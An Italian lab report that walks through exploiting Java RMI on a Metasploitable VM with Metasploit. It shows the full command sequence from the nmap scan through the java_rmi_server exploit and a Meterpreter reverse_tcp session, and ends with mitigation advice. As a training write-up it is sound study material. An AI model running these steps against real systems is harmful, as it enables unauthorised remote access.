

Report: Exploitation di Vulnerabilità Java RMI su Metasploitable

Autore: Francesco Fontana

Data: 16 Maggio 2025

Argomento: Exploitation di Java RMI (porta 1099) su macchina Metasploitable

Obiettivo

Sfruttare una vulnerabilità presente nel servizio Java RMI (Remote Method Invocation) in esecuzione sulla porta 1099 di una macchina Metasploitable per ottenere una sessione Meterpreter remota e raccogliere specifiche informazioni di sistema.

Ambiente di Test

- Macchina attaccante:** Kali Linux (**IP target:** **192.168.11.111**)
- Macchina vittima:** Metasploitable (**IP target:** **192.168.11.112**)
- Vulnerabilità target:** Java RMI (**porta 1099**)
- Strumenti utilizzati:**
 - Metasploit Framework
 - Modulo **exploit/multi/misc/java_rmi_server**
 - Payload **java/meterpreter/reverse_tcp**

Procedura Dettagliata

1.1 Configurazione e ping test delle macchine

```
No mail.
msfadmin@metasploitable:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        inet6 ::1/128 scope host
            valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 92:91:5d:33:77:df brd ff:ff:ff:ff:ff:ff
    inet 192.168.11.112/24 brd 192.168.11.255 scope global eth0
        inet6 fe80::cbc0:b164:afaa:9091%eth0 brd fe80::ff:fe33:77df%eth0 scope link
            valid_lft 2591991sec preferred_lft 604791sec
    inet6 fe80::9091:5dff:fe33:77df%eth0 brd fe80::ff:fe33:77df%eth0 scope link
            valid_lft forever preferred_lft forever
msfadmin@metasploitable:~$ ping 192.168.11.111
PING 192.168.11.111 (192.168.11.111) 56(84) bytes of data.
64 bytes from 192.168.11.111: icmp_seq=1 ttl=64 time=1.61 ms
64 bytes from 192.168.11.111: icmp_seq=2 ttl=64 time=1.30 ms
64 bytes from 192.168.11.111: icmp_seq=3 ttl=64 time=1.32 ms
64 bytes from 192.168.11.111: icmp_seq=4 ttl=64 time=1.23 ms
--- 192.168.11.111 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3003ms
rtt min/avg/max/mdev = 1.239/1.369/1.614/0.146 ms
msfadmin@metasploitable:~$
```

The screenshot shows a terminal window titled '(kali㉿kali2023)-[~]' with the command '\$ ping 192.168.11.112' entered. The output shows a successful ping test with four packets sent, all received, and a 0% packet loss. The terminal also displays the ping statistics and the time taken for the round trip. The background of the terminal window shows a dark-themed desktop environment with icons for various applications like a browser, file manager, and terminal.

```
File Actions Edit View Help
(kali㉿kali2023)-[~]
$ ping 192.168.11.112
PING 192.168.11.112 (192.168.11.112) 56(84) bytes of data.
64 bytes from 192.168.11.112: icmp_seq=1 ttl=64 time=1.79 ms
64 bytes from 192.168.11.112: icmp_seq=2 ttl=64 time=1.57 ms
64 bytes from 192.168.11.112: icmp_seq=3 ttl=64 time=1.25 ms
^C
--- 192.168.11.112 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2010ms
rtt min/avg/max/mdev = 1.249/1.535/1.788/0.221 ms

(kali㉿kali2023)-[~]
$
```

1.2 Rilevamento e Verifica del Servizio Vulnerabile

Esecuzione di scansione mirati alla porta 1099:

```
nmap -sV -p 1099 192.168.11.112
```

```
(kali㉿kali2023) [~]
$ nmap -sV -p 1099 192.168.11.112
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-16 09:41 CEST
Nmap scan report for 192.168.11.112
Host is up (0.00062s latency).

PORT      STATE SERVICE VERSION
1099/tcp    open  java-rmi  GNU Classpath grmiregistry
MAC Address: 92:91:5D:33:77:DF (Unknown)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/. .
Nmap done: 1 IP address (1 host up) scanned in 6.41 seconds
```

2. Avvio del Framework Metasploit

msfconsole

3. Ricerca dell'Exploit Appropriato

```
search java_rmi
```

```
msf6 > search java_rmi

Matching Modules
=====
#  Name                                     Disclosure Date  Rank   Check  Description
-  --
  0  auxiliary/gather/java_rmi_registry    .              normal  No     Java RMI Registr
y Interfaces Enumeration
  1  exploit/multi/misc/java_rmi_server    2011-10-15    excellent Yes    Java RMI Server
Insecure Default Configuration Java Code Execution
  2    \_ target: Generic (Java Payload)
  3    \_ target: Windows x86 (Native Payload)
  4    \_ target: Linux x86 (Native Payload)
  5    \_ target: Mac OS X PPC (Native Payload)
  6    \_ target: Mac OS X x86 (Native Payload)
  7  auxiliary/scanner/misc/java_rmi_server  2011-10-15    normal  No     Java RMI Server
Insecure Endpoint Code Execution Scanner
  8  exploit/multi/browser/java_rmi_connection_impl 2010-03-31    excellent No     Java RMIConnecti
onImpl Deserialization Privilege Escalation

NESSUS
Interact with a module by name or index. For example info 8, use 8 or use exploit/multi/browser/java_rmi_
connection_impl

msf6 > use 1
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) >
```

4. Configurazione dell'Exploit

```
msf6 > use exploit/multi/misc/java_rmi_server
msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.11.112
RHOSTS => 192.168.11.112
msf6 exploit(multi/misc/java_rmi_server) > set RPORT 1099
RPORT => 1099
```

```
msf6 exploit(multi/misc/java_rmi_server) > set RHOST 192.168.11.112
RHOST => 192.168.11.112
msf6 exploit(multi/misc/java_rmi_server) > set RPORT 1099
RPORT => 1099
msf6 exploit(multi/misc/java_rmi_server) > show payloads
```

5. Selezione e Configurazione del Payload

```
msf6 exploit(multi/misc/java_rmi_server) > set PAYLOAD java/meterpreter/reverse_tcp  
PAYLOAD => java/meterpreter/reverse_tcp  
msf6 exploit(multi/misc/java_rmi_server) > set LHOST 192.168.11.111  
LHOST => 192.168.11.111  
msf6 exploit(multi/misc/java_rmi_server) > set LPORT 4444  
LPORT => 4444  
msf6 exploit(multi/misc/java_rmi_server) > set HTTPDELAY 20  
HTTPDELAY => 20
```

```
msf6 exploit(multi/misc/java_rmi_server) > set PAYLOAD java/meterpreter/reverse_tcp  
PAYLOAD => java/meterpreter/reverse_tcp  
msf6 exploit(multi/misc/java_rmi_server) > set LHOST 192.168.11.111  
LHOST => 192.168.11.111  
msf6 exploit(multi/misc/java_rmi_server) > set LPORT 4444  
LPORT => 4444  
msf6 exploit(multi/misc/java_rmi_server) > set HTTPDELAY 20  
HTTPDELAY => 20  
msf6 exploit(multi/misc/java_rmi_server) > [ ]
```

7. Esecuzione dell'Exploit

```
msf6 exploit(multi/misc/java_rmi_server) > exploit
```

```
msf6 exploit(multi/misc/java_rmi_server) > exploit  
[*] Started reverse TCP handler on 192.168.11.111:4444  
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/MT10L6iiXFnRd  
[*] 192.168.11.112:1099 - Server started.  
[*] 192.168.11.112:1099 - Sending RMI Header ...  
[*] 192.168.11.112:1099 - Sending RMI Call ...  
[*] 192.168.11.112:1099 - Replied to request for payload JAR  
[*] Sending stage (58073 bytes) to 192.168.11.112  
[*] Meterpreter session 1 opened (192.168.11.111:4444 → 192.168.11.112:43985) at 2025-05-16 09:51:09 +02  
00  
meterpreter > [ ]
```

8. Raccolta delle Evidenze Richieste

Configurazione di Rete e Tabella Routing

meterpreter > **ifconfig**

```
meterpreter > ifconfig

Interface 1
=====
Name      : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
=====
Name      : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fdd6:cfc0:b164:afaa:9091:5dff:fe33:77df
IPv6 Netmask : ::

IPv6 Address : fe80::9091:5dff:fe33:77df
IPv6 Netmask : ::

meterpreter > 
```

9. Chiusura della Sessione

meterpreter > **exit**

```
meterpreter > exit
[*] Shutting down session: 1

[*] 192.168.11.112 - Meterpreter session 1 closed. Reason: Died
msf6 exploit(multi/misc/java_rmi_server) > 
```

Analisi Tecnica della Vulnerabilità

La vulnerabilità sfruttata in questo attacco è presente nel servizio **Java RMI** (Remote Method Invocation), una tecnologia Java che permette a un oggetto in esecuzione su una JVM di invocare metodi su un oggetto in esecuzione su un'altra JVM.

Il problema di sicurezza specifico deriva dalla funzionalità di deserializzazione di oggetti Java nel server RMI. Quando un client invia dati serializzati al server RMI, questi vengono deserializzati senza adeguati controlli di sicurezza. Questo consente a un attaccante di inviare oggetti Java appositamente costruiti che, una volta deserializzati, possono eseguire codice arbitrario con i privilegi del processo Java che ospita il servizio RMI.

L'exploit **java_rmi_server** di Metasploit sfrutta questa debolezza inviando un oggetto serializzato malevolo che, quando deserializzato, scarica ed esegue il payload Meterpreter specificato, stabilendo così una sessione remota sulla macchina vittima.

Raccomandazioni per la Mitigazione

Per proteggere i sistemi da questa vulnerabilità, si consiglia di:

1. Aggiornare Java all'ultima versione disponibile che include patch per le vulnerabilità di deserializzazione
2. Implementare filtri di deserializzazione come il framework RASP (Runtime Application Self-Protection)
3. Configurare correttamente i Security Manager di Java con policy restrittive
4. Utilizzare SSL/TLS per crittografare le comunicazioni RMI
5. Limitare l'accesso al servizio RMI attraverso firewall, permettendo connessioni solo da indirizzi IP fidati
6. Disabilitare il servizio Java RMI se non necessario

Conclusioni

L'esercizio ha dimostrato con successo lo sfruttamento di una vulnerabilità critica nel servizio Java RMI di Metasploitable. L'attacco ha permesso di ottenere una sessione remota Meterpreter sulla macchina target e raccogliere le informazioni di sistema richieste.

Questo tipo di vulnerabilità evidenzia l'importanza di mantenere aggiornati i sistemi e implementare adeguate misure di sicurezza per i servizi esposti, specialmente quelli che coinvolgono processi di deserializzazione di dati provenienti da fonti non fidate.